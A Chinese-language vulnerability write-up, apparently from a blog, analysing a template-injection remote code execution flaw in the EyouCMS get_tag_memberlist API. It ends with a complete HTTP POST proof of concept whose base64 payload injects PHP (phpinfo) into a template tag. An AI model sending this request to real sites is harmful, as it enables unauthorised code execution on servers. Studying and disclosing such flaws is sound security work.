0x00 EyouCMS
EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求
提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验
0x01 起因
最近正在准备给江西省大学生省赛线下AWD出题,愁啊不知道出啥。先知逛了下发现有人发了个EyouCMS的后台文件上传,于是就想去审点洞来出题。顺便写个文章去去博客上的灰。
打开CMS的码云项目,发现作者一天前刚提交了一个新版本更新记录显示任意代码执行
0x02 分析
对比代码我们可以很明显的看到这里存在一个拼接操作,随后对拼接后的语句进行模板渲染
程序先将我们POST输入的attarray进行base64解密随后与{eyou:memberlist进行拼接,最终形成类似这种形式:
{eyou:memberlist $key='$val' js='on'}htmlcode{/eyou:memberlist}
这里不难想到通过}来闭合前面的{eyou:memberlist达到任意代码执行的问题。因为解析的是json我们只需输入类似
{"}":"{php}phpinfo();{/php}"}
base64编码后的内容即可控制模板达到任意代码执行的目的。
0x03 触发
我们向前查找触发逻辑可知,整个代码仅由一个if语句控制,我们只需在POST包中加入
X-Requested-With: XMLHttpRequest
便可成功触发逻辑达到任意代码执行的目的
POC:
POST /index.php?m=api&c=Ajax&a=get_tag_memberlist HTTP/1.1 Host: 10.211.55.3Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequestAccept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 64 htmlcode=xiaobei&attarray=eyJ9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9